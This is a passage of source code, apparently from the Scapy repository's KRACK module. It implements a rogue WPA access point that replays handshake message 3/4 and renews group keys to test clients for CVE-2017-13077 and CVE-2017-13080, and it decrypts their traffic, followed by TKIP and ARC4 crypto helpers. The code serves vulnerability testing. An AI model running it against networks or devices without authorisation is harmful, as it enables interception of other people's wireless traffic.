self).parse_args(**kwargs)\n\n        # Main AP options\n        self.mac = ap_mac\n        self.ssid = ssid\n        self.passphrase = passphrase\n        if channel is None:\n            channel = 6\n        self.channel = channel\n\n        # Internal structures\n        self.last_iv = None\n        self.client = None\n        self.seq_num = count()\n        self.replay_counter = count()\n        self.time_handshake_end = None\n        self.dhcp_server = DHCPOverWPA(send_func=self.send_ether_over_wpa,\n                                       pool=Net(\"192.168.42.128/25\"),\n                                       network=\"192.168.42.0/24\",\n                                       gw=\"192.168.42.1\")\n        self.arp_sent = []\n        self.arp_to_send = 0\n        self.arp_retry = 0\n\n        # Bit 0: 3way handshake sent\n        # Bit 1: GTK rekeying sent\n        # Bit 2: ARP response obtained\n        self.krack_state = 0\n\n        # Krack options\n        self.double_3handshake = double_3handshake\n        self.encrypt_3handshake = encrypt_3handshake\n        self.wait_3handshake = wait_3handshake\n        self.double_gtk_refresh = double_gtk_refresh\n        self.arp_target_ip = arp_target_ip\n        if arp_source_ip is None:\n            # Use the DHCP server Gateway address\n            arp_source_ip = self.dhcp_server.gw\n        self.arp_source_ip = arp_source_ip\n        self.wait_gtk = wait_gtk\n\n        # May take several seconds\n        self.install_PMK()\n\n    def run(self, *args, **kwargs):\n        log_runtime.warning(\"AP started with ESSID: %s, BSSID: %s\",\n                            self.ssid, self.mac)\n        super(KrackAP, self).run(*args, **kwargs)\n\n    # Key utils\n\n    @staticmethod\n    def gen_nonce(size):\n        \"\"\"Return a nonce of @size element of random bytes as a string\"\"\"\n        return raw(RandBin(size))\n\n    def install_PMK(self):\n        \"\"\"Compute and install the PMK\"\"\"\n        self.pmk = PBKDF2HMAC(\n            algorithm=hashes.SHA1(),\n            length=32,\n            salt=self.ssid.encode(),\n            iterations=4096,\n            backend=default_backend(),\n        ).derive(self.passphrase.encode())\n\n    def install_unicast_keys(self, client_nonce):\n        \"\"\"Use the client nonce @client_nonce to compute and install\n        PTK, KCK, KEK, TK, MIC (AP -> STA), MIC (STA -> AP)\n        \"\"\"\n        pmk = self.pmk\n        anonce = self.anonce\n        snonce = client_nonce\n        amac = mac2str(self.mac)\n        smac = mac2str(self.client)\n\n        # Compute PTK\n        self.ptk = customPRF512(pmk, amac, smac, anonce, snonce)\n\n        # Extract derivated keys\n        self.kck = self.ptk[:16]\n        self.kek = self.ptk[16:32]\n        self.tk = self.ptk[32:48]\n        self.mic_ap_to_sta = self.ptk[48:56]\n        self.mic_sta_to_ap = self.ptk[56:64]\n\n        # Reset IV\n        self.client_iv = count()\n\n    def install_GTK(self):\n        \"\"\"Compute a new GTK and install it alongs\n        MIC (AP -> Group = broadcast + multicast)\n        \"\"\"\n\n        # Compute GTK\n        self.gtk_full = self.gen_nonce(32)\n        self.gtk = self.gtk_full[:16]\n\n        # Extract derivated keys\n        self.mic_ap_to_group = self.gtk_full[16:24]\n\n        # Reset IV\n        self.group_iv = count()\n\n    # Packet utils\n\n    def build_ap_info_pkt(self, layer_cls, dest):\n        \"\"\"Build a packet with info describing the current AP\n        For beacon / proberesp use\n        \"\"\"\n        ts = int(time.time() * 1e6) & 0xffffffffffffffff\n        return RadioTap() \\\n            / Dot11(addr1=dest, addr2=self.mac, addr3=self.mac) \\\n            / layer_cls(timestamp=ts, beacon_interval=100,\n                        cap='ESS+privacy') \\\n            / Dot11Elt(ID=\"SSID\", info=self.ssid) \\\n            / Dot11EltRates(rates=[130, 132, 139, 150, 12, 18, 24, 36]) \\\n            / Dot11EltDSSSet(channel=self.channel) \\\n            / Dot11EltRSN(group_cipher_suite=RSNCipherSuite(cipher=0x2),\n                          pairwise_cipher_suites=[RSNCipherSuite(cipher=0x2)],\n                          akm_suites=[AKMSuite(suite=0x2)])\n\n    @staticmethod\n    def build_EAPOL_Key_8021X2004(\n            key_information,\n            replay_counter,\n            nonce,\n            data=None,\n            key_mic=None,\n            key_data_encrypt=None,\n            key_rsc=0,\n            key_id=0,\n            key_descriptor_type=2,  # EAPOL RSN Key\n    ):\n        pkt = EAPOL(version=\"802.1X-2004\", type=\"EAPOL-Key\")\n\n        key_iv = KrackAP.gen_nonce(16)\n\n        assert key_rsc == 0  # Other values unsupported\n        assert key_id == 0  # Other values unsupported\n        payload = b\"\".join([\n            chb(key_descriptor_type),\n            struct.pack(\">H\", key_information),\n            b'\\x00\\x20',  # Key length\n            struct.pack(\">Q\", replay_counter),\n            nonce,\n            key_iv,\n            struct.pack(\">Q\", key_rsc),\n            struct.pack(\">Q\", key_id),\n        ])\n\n        # MIC field is set to 0's during MIC computation\n        offset_MIC = len(payload)\n        payload += b'\\x00' * 0x10\n\n        if data is None and key_mic is None and key_data_encrypt is None:\n            # If key is unknown and there is no data, no MIC is needed\n            # Example: handshake 1/4\n            payload += b'\\x00' * 2  # Length\n            return pkt / Raw(load=payload)\n\n        assert data is not None\n        assert key_mic is not None\n        assert key_data_encrypt is not None\n\n        # Skip 256 first bytes\n        # REF: 802.11i 8.5.2\n        # Key Descriptor Version 1:\n        # ...\n        # No padding shall be used. The encryption key is generated by\n        # concatenating the EAPOL-Key IV field and the KEK. The first 256 octets  # noqa: E501\n        # of the RC4 key stream shall be discarded following RC4 stream cipher\n        # initialization with the KEK, and encryption begins using the 257th key  # noqa: E501\n        # stream octet.\n        enc_data = ARC4_encrypt(key_iv + key_data_encrypt, data, skip=256)\n\n        payload += struct.pack(\">H\", len(data))\n        payload += enc_data\n\n        # Compute MIC and set at the right place\n        temp_mic = pkt.copy()\n        temp_mic /= Raw(load=payload)\n        to_mic = raw(temp_mic[EAPOL])\n        mic = hmac.new(key_mic, to_mic, hashlib.md5).digest()\n        final_payload = payload[:offset_MIC] + mic + payload[offset_MIC + len(mic):]  # noqa: E501\n        assert len(final_payload) == len(payload)\n\n        return pkt / Raw(load=final_payload)\n\n    def build_GTK_KDE(self):\n        \"\"\"Build the Key Data Encapsulation for GTK\n        KeyID: 0\n        Ref: 802.11i p81\n        \"\"\"\n        return b''.join([\n            b'\\xdd',  # Type KDE\n            chb(len(self.gtk_full) + 6),\n            b'\\x00\\x0f\\xac',  # OUI\n            b'\\x01',  # GTK KDE\n            b'\\x00\\x00',  # KeyID - Tx - Reserved x2\n            self.gtk_full,\n        ])\n\n    def send_wpa_enc(self, data, iv, seqnum, dest, mic_key,\n                     key_idx=0, additionnal_flag=[\"from_DS\"],\n                     encrypt_key=None):\n        \"\"\"Send an encrypted packet with content @data, using IV @iv,\n        sequence number @seqnum, MIC key @mic_key\n        \"\"\"\n\n        if encrypt_key is None:\n            encrypt_key = self.tk\n\n        rep = RadioTap()\n        rep /= Dot11(\n            addr1=dest,\n            addr2=self.mac,\n            addr3=self.mac,\n            FCfield=\"+\".join(['protected'] + additionnal_flag),\n            SC=(next(self.seq_num) << 4),\n            subtype=0,\n            type=\"Data\",\n        )\n\n        # Assume packet is send by our AP -> use self.mac as source\n\n        # Encapsule in TKIP with MIC Michael and ICV\n        data_to_enc = build_MIC_ICV(raw(data), mic_key, self.mac, dest)\n\n        # Header TKIP + payload\n        rep /= Raw(build_TKIP_payload(data_to_enc, iv, self.mac, encrypt_key))\n\n        self.send(rep)\n        return rep\n\n    def send_wpa_to_client(self, data, **kwargs):\n        kwargs.setdefault(\"encrypt_key\", self.tk)\n        return self.send_wpa_enc(data, next(self.client_iv),\n                                 next(self.seq_num), self.client,\n                                 self.mic_ap_to_sta, **kwargs)\n\n    def send_wpa_to_group(self, data, dest=\"ff:ff:ff:ff:ff:ff\", **kwargs):\n        kwargs.setdefault(\"encrypt_key\", self.gtk)\n        return self.send_wpa_enc(data, next(self.group_iv),\n                                 next(self.seq_num), dest,\n                                 self.mic_ap_to_group, **kwargs)\n\n    def send_ether_over_wpa(self, pkt, **kwargs):\n        \"\"\"Send an Ethernet packet using the WPA channel\n        Extra arguments will be ignored, and are just left for compatibility\n        \"\"\"\n\n        payload = LLC() / SNAP() / pkt[Ether].payload\n        dest = pkt.dst\n        if dest == \"ff:ff:ff:ff:ff:ff\":\n            self.send_wpa_to_group(payload, dest)\n        else:\n            assert dest == self.client\n            self.send_wpa_to_client(payload)\n\n    def deal_common_pkt(self, pkt):\n        # Send to DHCP server\n        # LLC / SNAP to Ether\n        if SNAP in pkt:\n            ether_pkt = Ether(src=self.client, dst=self.mac) / pkt[SNAP].payload  # noqa: E501\n            self.dhcp_server.reply(ether_pkt)\n\n        # If an ARP request is made, extract client IP and answer\n        if ARP in pkt and \\\n           pkt[ARP].op == 1 and pkt[ARP].pdst == self.dhcp_server.gw:\n            if self.arp_target_ip is None:\n                self.arp_target_ip = pkt[ARP].psrc\n                log_runtime.info(\"Detected IP: %s\", self.arp_target_ip)\n\n            # Reply\n            ARP_ans = LLC() / SNAP() / ARP(\n                op=\"is-at\",\n                psrc=self.arp_source_ip,\n                pdst=self.arp_target_ip,\n                hwsrc=self.mac,\n                hwdst=self.client,\n            )\n            self.send_wpa_to_client(ARP_ans)\n\n    # States\n\n    @ATMT.state(initial=True)\n    def WAIT_AUTH_REQUEST(self):\n        log_runtime.debug(\"State WAIT_AUTH_REQUEST\")\n\n    @ATMT.state()\n    def AUTH_RESPONSE_SENT(self):\n        log_runtime.debug(\"State AUTH_RESPONSE_SENT\")\n\n    @ATMT.state()\n    def ASSOC_RESPONSE_SENT(self):\n        log_runtime.debug(\"State ASSOC_RESPONSE_SENT\")\n\n    @ATMT.state()\n    def WPA_HANDSHAKE_STEP_1_SENT(self):\n        log_runtime.debug(\"State WPA_HANDSHAKE_STEP_1_SENT\")\n\n    @ATMT.state()\n    def WPA_HANDSHAKE_STEP_3_SENT(self):\n        log_runtime.debug(\"State WPA_HANDSHAKE_STEP_3_SENT\")\n\n    @ATMT.state()\n    def KRACK_DISPATCHER(self):\n        log_runtime.debug(\"State KRACK_DISPATCHER\")\n\n    @ATMT.state()\n    def ANALYZE_DATA(self):\n        log_runtime.debug(\"State ANALYZE_DATA\")\n\n    @ATMT.timeout(ANALYZE_DATA, 1)\n    def timeout_analyze_data(self):\n        raise self.KRACK_DISPATCHER()\n\n    @ATMT.state()\n    def RENEW_GTK(self):\n        log_runtime.debug(\"State RENEW_GTK\")\n\n    @ATMT.state()\n    def WAIT_GTK_ACCEPT(self):\n        log_runtime.debug(\"State WAIT_GTK_ACCEPT\")\n\n    @ATMT.state()\n    def WAIT_ARP_REPLIES(self):\n        log_runtime.debug(\"State WAIT_ARP_REPLIES\")\n\n    @ATMT.state(final=1)\n    def EXIT(self):\n        log_runtime.debug(\"State EXIT\")\n\n    @ATMT.timeout(WAIT_GTK_ACCEPT, 1)\n    def timeout_wait_gtk_accept(self):\n        raise self.RENEW_GTK()\n\n    @ATMT.timeout(WAIT_AUTH_REQUEST, 0.1)\n    def timeout_waiting(self):\n        raise self.WAIT_AUTH_REQUEST()\n\n    @ATMT.action(timeout_waiting)\n    def send_beacon(self):\n        log_runtime.debug(\"Send a beacon\")\n        rep = self.build_ap_info_pkt(Dot11Beacon, dest=\"ff:ff:ff:ff:ff:ff\")\n        self.send(rep)\n\n    @ATMT.receive_condition(WAIT_AUTH_REQUEST)\n    def probe_request_received(self, pkt):\n        # Avoid packet from other interfaces\n        if RadioTap not in pkt:\n            return\n        if Dot11ProbeReq in pkt and pkt[Dot11Elt::{'ID': 0}].info == self.ssid:\n            raise self.WAIT_AUTH_REQUEST().action_parameters(pkt)\n\n    @ATMT.action(probe_request_received)\n    def send_probe_response(self, pkt):\n        rep = self.build_ap_info_pkt(Dot11ProbeResp, dest=pkt.addr2)\n        self.send(rep)\n\n    @ATMT.receive_condition(WAIT_AUTH_REQUEST)\n    def authent_received(self, pkt):\n        # Avoid packet from other interfaces\n        if RadioTap not in pkt:\n            return\n        if Dot11Auth in pkt and pkt.addr1 == pkt.addr3 == self.mac:\n            raise self.AUTH_RESPONSE_SENT().action_parameters(pkt)\n\n    @ATMT.action(authent_received)\n    def send_auth_response(self, pkt):\n\n        # Save client MAC for later\n        self.client = pkt.addr2\n        log_runtime.warning(\"Client %s connected!\", self.client)\n\n        # Launch DHCP Server\n        self.dhcp_server()\n\n        rep = RadioTap()\n        rep /= Dot11(addr1=self.client, addr2=self.mac, addr3=self.mac)\n        rep /= Dot11Auth(seqnum=2, algo=pkt[Dot11Auth].algo,\n                         status=pkt[Dot11Auth].status)\n\n        self.send(rep)\n\n    @ATMT.receive_condition(AUTH_RESPONSE_SENT)\n    def assoc_received(self, pkt):\n        if Dot11AssoReq in pkt and pkt.addr1 == pkt.addr3 == self.mac and \\\n           pkt[Dot11Elt::{'ID': 0}].info == self.ssid:\n            raise self.ASSOC_RESPONSE_SENT().action_parameters(pkt)\n\n    @ATMT.action(assoc_received)\n    def send_assoc_response(self, pkt):\n\n        # Get RSN info\n        temp_pkt = pkt[Dot11Elt::{\"ID\": 48}].copy()\n        temp_pkt.remove_payload()\n        self.RSN = raw(temp_pkt)\n        # Avoid 802.11w, etc. (deactivate RSN capabilities)\n        self.RSN = self.RSN[:-2] + b\"\\x00\\x00\"\n\n        rep = RadioTap()\n        rep /= Dot11(addr1=self.client, addr2=self.mac, addr3=self.mac)\n        rep /= Dot11AssoResp()\n        rep /= Dot11EltRates(rates=[130, 132, 139, 150, 12, 18, 24, 36])\n\n        self.send(rep)\n\n    @ATMT.condition(ASSOC_RESPONSE_SENT)\n    def assoc_sent(self):\n        raise self.WPA_HANDSHAKE_STEP_1_SENT()\n\n    @ATMT.action(assoc_sent)\n    def send_wpa_handshake_1(self):\n\n        self.anonce = self.gen_nonce(32)\n\n        rep = RadioTap()\n        rep /= Dot11(\n            addr1=self.client,\n            addr2=self.mac,\n            addr3=self.mac,\n            FCfield='from_DS',\n            SC=(next(self.seq_num) << 4),\n        )\n        rep /= LLC(dsap=0xaa, ssap=0xaa, ctrl=3)\n        rep /= SNAP(OUI=0, code=0x888e)  # 802.1X Authentication\n        rep /= self.build_EAPOL_Key_8021X2004(\n            key_information=0x89,\n            replay_counter=next(self.replay_counter),\n            nonce=self.anonce,\n        )\n\n        self.send(rep)\n\n    @ATMT.receive_condition(WPA_HANDSHAKE_STEP_1_SENT)\n    def wpa_handshake_1_sent(self, pkt):\n        # Avoid packet from other interfaces\n        if RadioTap not in pkt:\n            return\n        if EAPOL in pkt and pkt.addr1 == pkt.addr3 == self.mac and \\\n           pkt[EAPOL].load[1:2] == b\"\\x01\":\n            # Key MIC: set, Secure / Error / Request / Encrypted / SMK\n            # message: not set\n            raise self.WPA_HANDSHAKE_STEP_3_SENT().action_parameters(pkt)\n\n    @ATMT.action(wpa_handshake_1_sent)\n    def send_wpa_handshake_3(self, pkt):\n\n        # Both nonce have been exchanged, install keys\n        client_nonce = pkt[EAPOL].load[13:13 + 0x20]\n        self.install_unicast_keys(client_nonce)\n\n        # Check client MIC\n\n        # Data: full message with MIC place replaced by 0s\n        # https://stackoverflow.com/questions/15133797/creating-wpa-message-integrity-code-mic-with-python\n        client_mic = pkt[EAPOL].load[77:77 + 16]\n        client_data = raw(pkt[EAPOL]).replace(client_mic, b\"\\x00\" * len(client_mic))  # noqa: E501\n        assert hmac.new(self.kck, client_data, hashlib.md5).digest() == client_mic  # noqa: E501\n\n        rep = RadioTap()\n        rep /= Dot11(\n            addr1=self.client,\n            addr2=self.mac,\n            addr3=self.mac,\n            FCfield='from_DS',\n            SC=(next(self.seq_num) << 4),\n        )\n\n        rep /= LLC(dsap=0xaa, ssap=0xaa, ctrl=3)\n        rep /= SNAP(OUI=0, code=0x888e)  # 802.1X Authentication\n\n        self.install_GTK()\n        data = self.RSN\n        data += self.build_GTK_KDE()\n\n        eap = self.build_EAPOL_Key_8021X2004(\n            key_information=0x13c9,\n            replay_counter=next(self.replay_counter),\n            nonce=self.anonce,\n            data=data,\n            key_mic=self.kck,\n            key_data_encrypt=self.kek,\n        )\n\n        self.send(rep / eap)\n\n    @ATMT.receive_condition(WPA_HANDSHAKE_STEP_3_SENT)\n    def wpa_handshake_3_sent(self, pkt):\n        # Avoid packet from other interfaces\n        if RadioTap not in pkt:\n            return\n        if EAPOL in pkt and pkt.addr1 == pkt.addr3 == self.mac and \\\n           pkt[EAPOL].load[1:3] == b\"\\x03\\x09\":\n            self.time_handshake_end = time.time()\n            raise self.KRACK_DISPATCHER()\n\n    @ATMT.condition(KRACK_DISPATCHER)\n    def krack_dispatch(self):\n        now = time.time()\n        # Handshake 3/4 replay\n        if self.double_3handshake and (self.krack_state & 1 == 0) and \\\n           (now - self.time_handshake_end) > self.wait_3handshake:\n            log_runtime.info(\"Trying to trigger CVE-2017-13077\")\n            raise self.ANALYZE_DATA().action_parameters(send_3handshake=True)\n\n        # GTK rekeying\n        if (self.krack_state & 2 == 0) and \\\n           (now - self.time_handshake_end) > self.wait_gtk:\n            raise self.ANALYZE_DATA().action_parameters(send_gtk=True)\n\n        # Fallback in data analysis\n        raise self.ANALYZE_DATA().action_parameters()\n\n    @ATMT.action(krack_dispatch)\n    def krack_proceed(self, send_3handshake=False, send_gtk=False):\n        if send_3handshake:\n            rep = RadioTap()\n            rep /= Dot11(\n                addr1=self.client,\n                addr2=self.mac,\n                addr3=self.mac,\n                FCfield='from_DS',\n                SC=(next(self.seq_num) << 4),\n                subtype=0,\n                type=\"Data\",\n            )\n\n            rep /= LLC(dsap=0xaa, ssap=0xaa, ctrl=3)\n            rep /= SNAP(OUI=0, code=0x888e)  # 802.1X Authentication\n\n            data = self.RSN\n            data += self.build_GTK_KDE()\n\n            eap_2 = self.build_EAPOL_Key_8021X2004(\n                # Key information 0x13c9:\n                #   ARC4 HMAC-MD5, Pairwise Key, Install, KEY ACK, KEY MIC, Secure,  # noqa: E501\n                #   Encrypted, SMK\n                key_information=0x13c9,\n                replay_counter=next(self.replay_counter),\n                nonce=self.anonce,\n                data=data,\n                key_mic=self.kck,\n                key_data_encrypt=self.kek,\n            )\n\n            rep /= eap_2\n\n            if self.encrypt_3handshake:\n                self.send_wpa_to_client(rep[LLC])\n            else:\n                self.send(rep)\n\n            self.krack_state |= 1\n\n        if send_gtk:\n            self.krack_state |= 2\n            # Renew the GTK\n            self.install_GTK()\n            raise self.RENEW_GTK()\n\n    @ATMT.receive_condition(ANALYZE_DATA)\n    def get_data(self, pkt):\n        # Avoid packet from other interfaces\n        if RadioTap not in pkt:\n            return\n\n        # Skip retries\n        if pkt[Dot11].FCfield.retry:\n            return\n\n        # Skip unencrypted frames (TKIP rely on encrypted packets)\n        if not pkt[Dot11].FCfield.protected:\n            return\n\n        # Dot11.type 2: Data\n        if pkt.type == 2 and Raw in pkt and pkt.addr1 == self.mac:\n            # Do not check pkt.addr3, frame can be broadcast\n            raise self.KRACK_DISPATCHER().action_parameters(pkt)\n\n    @ATMT.action(get_data)\n    def extract_iv(self, pkt):\n        # Get IV\n        TSC, _, _ = parse_TKIP_hdr(pkt)\n        iv = TSC[0] | (TSC[1] << 8) | (TSC[2] << 16) | (TSC[3] << 24) | \\\n            (TSC[4] << 32) | (TSC[5] << 40)\n        log_runtime.info(\"Got a packet with IV: %s\", hex(iv))\n\n        if self.last_iv is None:\n            self.last_iv = iv\n        else:\n            if iv <= self.last_iv:\n                log_runtime.warning(\"IV reuse!! Client seems to be \"\n                                    \"vulnerable to handshake 3/4 replay \"\n                                    \"(CVE-2017-13077)\"\n                                    )\n\n        data_clear = None\n\n        # Normal decoding\n        data = parse_data_pkt(pkt, self.tk)\n        try:\n            data_clear = check_MIC_ICV(data, self.mic_sta_to_ap, pkt.addr2,\n                                       pkt.addr3)\n        except (ICVError, MICError):\n            pass\n\n        # Decoding with a 0's TK\n        if data_clear is None:\n            data = parse_data_pkt(pkt, b\"\\x00\" * len(self.tk))\n            try:\n                mic_key = b\"\\x00\" * len(self.mic_sta_to_ap)\n                data_clear = check_MIC_ICV(data, mic_key, pkt.addr2, pkt.addr3)\n                log_runtime.warning(\"Client has installed an all zero \"\n                                    \"encryption key (TK)!!\")\n            except (ICVError, MICError):\n                pass\n\n        if data_clear is None:\n            log_runtime.warning(\"Unable to decode the packet, something went \"\n                                \"wrong\")\n            log_runtime.debug(hexdump(pkt, dump=True))\n            self.deal_common_pkt(pkt)\n            return\n\n        log_runtime.debug(hexdump(data_clear, dump=True))\n        pkt = LLC(data_clear)\n        log_runtime.debug(repr(pkt))\n        self.deal_common_pkt(pkt)\n\n    @ATMT.condition(RENEW_GTK)\n    def gtk_pkt_1(self):\n        raise self.WAIT_GTK_ACCEPT()\n\n    @ATMT.action(gtk_pkt_1)\n    def send_renew_gtk(self):\n\n        rep_to_enc = LLC(dsap=0xaa, ssap=0xaa, ctrl=3)\n        rep_to_enc /= SNAP(OUI=0, code=0x888e)  # 802.1X Authentication\n\n        data = self.build_GTK_KDE()\n\n        eap = self.build_EAPOL_Key_8021X2004(\n            # Key information 0x1381:\n            #   ARC4 HMAC-MD5, Group Key, KEY ACK, KEY MIC, Secure, Encrypted,\n            #   SMK\n            key_information=0x1381,\n            replay_counter=next(self.replay_counter),\n            nonce=self.anonce,\n            data=data,\n            key_mic=self.kck,\n            key_data_encrypt=self.kek,\n        )\n\n        rep_to_enc /= eap\n        self.send_wpa_to_client(rep_to_enc)\n\n    @ATMT.receive_condition(WAIT_GTK_ACCEPT)\n    def get_gtk_2(self, pkt):\n        # Avoid packet from other interfaces\n        if RadioTap not in pkt:\n            return\n\n        # Skip retries\n        if pkt[Dot11].FCfield.retry:\n            return\n\n        # Skip unencrypted frames (TKIP rely on encrypted packets)\n        if not pkt[Dot11].FCfield.protected:\n            return\n\n        # Normal decoding\n        try:\n            data = parse_data_pkt(pkt, self.tk)\n        except ValueError:\n            return\n        try:\n            data_clear = check_MIC_ICV(data, self.mic_sta_to_ap, pkt.addr2,\n                                       pkt.addr3)\n        except (ICVError, MICError):\n            return\n\n        pkt_clear = LLC(data_clear)\n        if EAPOL in pkt_clear and pkt.addr1 == pkt.addr3 == self.mac and \\\n           pkt_clear[EAPOL].load[1:3] == b\"\\x03\\x01\":\n            raise self.WAIT_ARP_REPLIES()\n\n    @ATMT.action(get_gtk_2)\n    def send_arp_req(self):\n\n        if self.krack_state & 4 == 0:\n            # Set the address for future uses\n            self.arp_target_ip = self.dhcp_server.leases.get(self.client,\n                                                             self.arp_target_ip)  # noqa: E501\n            assert self.arp_target_ip is not None\n\n            # Send the first ARP requests, for control test\n            log_runtime.info(\"Send ARP who-was from '%s' to '%s'\",\n                             self.arp_source_ip,\n                             self.arp_target_ip)\n            arp_pkt = self.send_wpa_to_group(\n                LLC() / SNAP() / ARP(op=\"who-has\",\n                                     psrc=self.arp_source_ip,\n                                     pdst=self.arp_target_ip,\n                                     hwsrc=self.mac),\n                dest='ff:ff:ff:ff:ff:ff',\n            )\n            self.arp_sent.append(arp_pkt)\n        else:\n            if self.arp_to_send < len(self.arp_sent):\n                # Re-send the ARP requests already sent\n                self.send(self.arp_sent[self.arp_to_send])\n                self.arp_to_send += 1\n            else:\n                # Re-send GTK\n                self.arp_to_send = 0\n                self.arp_retry += 1\n                log_runtime.info(\"Trying to trigger CVE-2017-13080 %d/%d\",\n                                 self.arp_retry, self.ARP_MAX_RETRY)\n                if self.arp_retry > self.ARP_MAX_RETRY:\n                    # We retries 100 times to send GTK, then already sent ARPs\n                    log_runtime.warning(\"Client is likely not vulnerable to \"\n                                        \"CVE-2017-13080\")\n                    raise self.EXIT()\n\n                raise self.RENEW_GTK()\n\n    @ATMT.timeout(WAIT_ARP_REPLIES, 0.5)\n    def resend_arp_req(self):\n        self.send_arp_req()\n        raise self.WAIT_ARP_REPLIES()\n\n    @ATMT.receive_condition(WAIT_ARP_REPLIES)\n    def get_arp(self, pkt):\n        # Avoid packet from other interfaces\n        if RadioTap not in pkt:\n            return\n\n        # Skip retries\n        if pkt[Dot11].FCfield.retry:\n            return\n\n        # Skip unencrypted frames (TKIP rely on encrypted packets)\n        if not pkt[Dot11].FCfield.protected:\n            return\n\n        # Dot11.type 2: Data\n        if pkt.type == 2 and Raw in pkt and pkt.addr1 == self.mac:\n            # Do not check pkt.addr3, frame can be broadcast\n            raise self.WAIT_ARP_REPLIES().action_parameters(pkt)\n\n    @ATMT.action(get_arp)\n    def check_arp_reply(self, pkt):\n        data = parse_data_pkt(pkt, self.tk)\n        try:\n            data_clear = check_MIC_ICV(data, self.mic_sta_to_ap, pkt.addr2,\n                                       pkt.addr3)\n        except (ICVError, MICError):\n            return\n\n        decoded_pkt = LLC(data_clear)\n        log_runtime.debug(hexdump(decoded_pkt, dump=True))\n        log_runtime.debug(repr(decoded_pkt))\n        self.deal_common_pkt(decoded_pkt)\n        if ARP not in decoded_pkt:\n            return\n\n        # ARP.op 2: is-at\n        if decoded_pkt[ARP].op == 2 and \\\n           decoded_pkt[ARP].psrc == self.arp_target_ip and \\\n           decoded_pkt[ARP].pdst == self.arp_source_ip:\n            # Got the expected ARP\n            if self.krack_state & 4 == 0:\n                # First time, normal behavior\n                log_runtime.info(\"Got ARP reply, this is normal\")\n                self.krack_state |= 4\n                log_runtime.info(\"Trying to trigger CVE-2017-13080\")\n                raise self.RENEW_GTK()\n            else:\n                # Second time, the packet has been accepted twice!\n                log_runtime.warning(\"Broadcast packet accepted twice!! \"\n                                    \"(CVE-2017-13080)\")\n"
  },
  {
    "path": "scapy/modules/krack/crypto.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n\nimport hashlib\nimport hmac\nfrom struct import unpack, pack\nfrom zlib import crc32\n\nfrom cryptography.hazmat.primitives.ciphers import Cipher, algorithms\nfrom cryptography.hazmat.backends import default_backend\n\nfrom scapy.compat import orb, chb\nfrom scapy.layers.dot11 import Dot11TKIP\nfrom scapy.utils import mac2str\n\n# ARC4\n\n\ndef ARC4_encrypt(key, data, skip=0):\n    \"\"\"Encrypt data @data with key @key, skipping @skip first bytes of the\n    keystream\"\"\"\n\n    algorithm = algorithms.ARC4(key)\n    cipher = Cipher(algorithm, mode=None, backend=default_backend())\n    encryptor = cipher.encryptor()\n    if skip:\n        encryptor.update(b\"\\x00\" * skip)\n    return encryptor.update(data)\n\n\ndef ARC4_decrypt(key, data, skip=0):\n    \"\"\"Decrypt data @data with key @key, skipping @skip first bytes of the\n    keystream\"\"\"\n    return ARC4_encrypt(key, data, skip)\n\n# Custom WPA PseudoRandomFunction\n\n\ndef customPRF512(key, amac, smac, anonce, snonce):\n    \"\"\"Source https://stackoverflow.com/questions/12018920/\"\"\"\n    A = b\"Pairwise key expansion\"\n    B = b\"\".join(sorted([amac, smac]) + sorted([anonce, snonce]))\n\n    blen = 64\n    i = 0\n    R = b''\n    while i <= ((blen * 8 + 159) // 160):\n        hmacsha1 = hmac.new(key, A + chb(0x00) + B + chb(i), hashlib.sha1)\n        i += 1\n        R = R + hmacsha1.digest()\n    return R[:blen]\n\n# TKIP - WEPSeed generation\n# Tested against pyDot11: tkip.py\n\n\n# 802.11i p.53-54\n_SBOXS = [\n    [\n        0xC6A5, 0xF884, 0xEE99, 0xF68D, 0xFF0D, 0xD6BD, 0xDEB1, 0x9154,\n        0x6050, 0x0203, 0xCEA9, 0x567D, 0xE719, 0xB562, 0x4DE6, 0xEC9A,\n        0x8F45, 0x1F9D, 0x8940, 0xFA87, 0xEF15, 0xB2EB, 0x8EC9, 0xFB0B,\n        0x41EC, 0xB367, 0x5FFD, 0x45EA, 0x23BF, 0x53F7, 0xE496, 0x9B5B,\n        0x75C2, 0xE11C, 0x3DAE, 0x4C6A, 0x6C5A, 0x7E41, 0xF502, 0x834F,\n        0x685C, 0x51F4, 0xD134, 0xF908, 0xE293, 0xAB73, 0x6253, 0x2A3F,\n        0x080C, 0x9552, 0x4665, 0x9D5E, 0x3028, 0x37A1, 0x0A0F, 0x2FB5,\n        0x0E09, 0x2436, 0x1B9B, 0xDF3D, 0xCD26, 0x4E69, 0x7FCD, 0xEA9F,\n        0x121B, 0x1D9E, 0x5874, 0x342E, 0x362D, 0xDCB2, 0xB4EE, 0x5BFB,\n        0xA4F6, 0x764D, 0xB761, 0x7DCE, 0x527B, 0xDD3E, 0x5E71, 0x1397,\n        0xA6F5, 0xB968, 0x0000, 0xC12C, 0x4060, 0xE31F, 0x79C8, 0xB6ED,\n        0xD4BE, 0x8D46, 0x67D9, 0x724B, 0x94DE, 0x98D4, 0xB0E8, 0x854A,\n        0xBB6B, 0xC52A, 0x4FE5, 0xED16, 0x86C5, 0x9AD7, 0x6655, 0x1194,\n        0x8ACF, 0xE910, 0x0406, 0xFE81, 0xA0F0, 0x7844, 0x25BA, 0x4BE3,\n        0xA2F3, 0x5DFE, 0x80C0, 0x058A, 0x3FAD, 0x21BC, 0x7048, 0xF104,\n        0x63DF, 0x77C1, 0xAF75, 0x4263, 0x2030, 0xE51A, 0xFD0E, 0xBF6D,\n        0x814C, 0x1814, 0x2635, 0xC32F, 0xBEE1, 0x35A2, 0x88CC, 0x2E39,\n        0x9357, 0x55F2, 0xFC82, 0x7A47, 0xC8AC, 0xBAE7, 0x322B, 0xE695,\n        0xC0A0, 0x1998, 0x9ED1, 0xA37F, 0x4466, 0x547E, 0x3BAB, 0x0B83,\n        0x8CCA, 0xC729, 0x6BD3, 0x283C, 0xA779, 0xBCE2, 0x161D, 0xAD76,\n        0xDB3B, 0x6456, 0x744E, 0x141E, 0x92DB, 0x0C0A, 0x486C, 0xB8E4,\n        0x9F5D, 0xBD6E, 0x43EF, 0xC4A6, 0x39A8, 0x31A4, 0xD337, 0xF28B,\n        0xD532, 0x8B43, 0x6E59, 0xDAB7, 0x018C, 0xB164, 0x9CD2, 0x49E0,\n        0xD8B4, 0xACFA, 0xF307, 0xCF25, 0xCAAF, 0xF48E, 0x47E9, 0x1018,\n        0x6FD5, 0xF088, 0x4A6F, 0x5C72, 0x3824, 0x57F1, 0x73C7, 0x9751,\n        0xCB23, 0xA17C, 0xE89C, 